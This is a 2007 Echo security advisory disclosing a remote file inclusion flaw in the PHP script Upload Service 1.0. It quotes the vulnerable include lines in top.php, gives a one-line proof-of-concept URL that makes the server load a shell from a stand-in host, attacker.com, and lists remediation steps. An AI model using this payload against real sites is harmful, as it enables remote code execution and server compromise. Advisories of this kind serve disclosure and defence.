Echo Security Advisory 2007.62

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[ECHO_ADV_62$2007] Upload Service 1.0 remote file inclusion  
--------------------------------------------------  
  
Author : Ahmad Muammar W.K (a.k.a) y3dips  
Date Found : January, 21st 2007  
Location : Indonesia, Jakarta  
web : http://echo.or.id/adv/adv62-y3dips-2007.txt  
Critical Lvl : Critical  
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Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : Upload Service  
version : 1.0  
URL : http://bild-bearbeiten.de/  
Download-path : http://bild-bearbeiten.de/scripts/upload_service_1.0.zip  
  
-------------------------------------------  
  
1. Install directory are not being remove after installation process  
2. Variables "$maindir" in top.php are not properly sanitized.  
  
---------------top.php--------  
...  
include($maindir."config.php");  
include($maindir."functions/error.php");  
...  
------------------------------  
  
When register_globals=on and allow_fopenurl=on an attacker can exploit  
this vulnerability with a simple php injection script.  
  
Poc/Exploit:  
~~~~~~~~~  
  
http://target.com/upload/top.php?maindir=http://attacker.com/shell.php?  
  
Solution:  
~~~~~~  
- Remember to remove your install directory and change config.php permission  
- Simply Sanitize variable $maindir on affected files. (eg. $maindir=" ";)  
- Turn off register_globals  
  
Notification:  
~~~~~~~~~  
  
vendor not contact yet  
  
-----------------------------------------------  
Shoutz:  
~~~~  
~ my lovely ana  
~ k-159 (my greatest brotha), the_day (young evil thinker), and all echo staff  
~ [email protected]  
~ #e-c-h-o @irc.dal.net  
----------------------------------------------  
Contact:  
~~~~~  
  
y3dips|| echo|staff || y3dips[at]gmail[dot]com  
Homepage: http://y3dips.echo.or.id/  
  
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`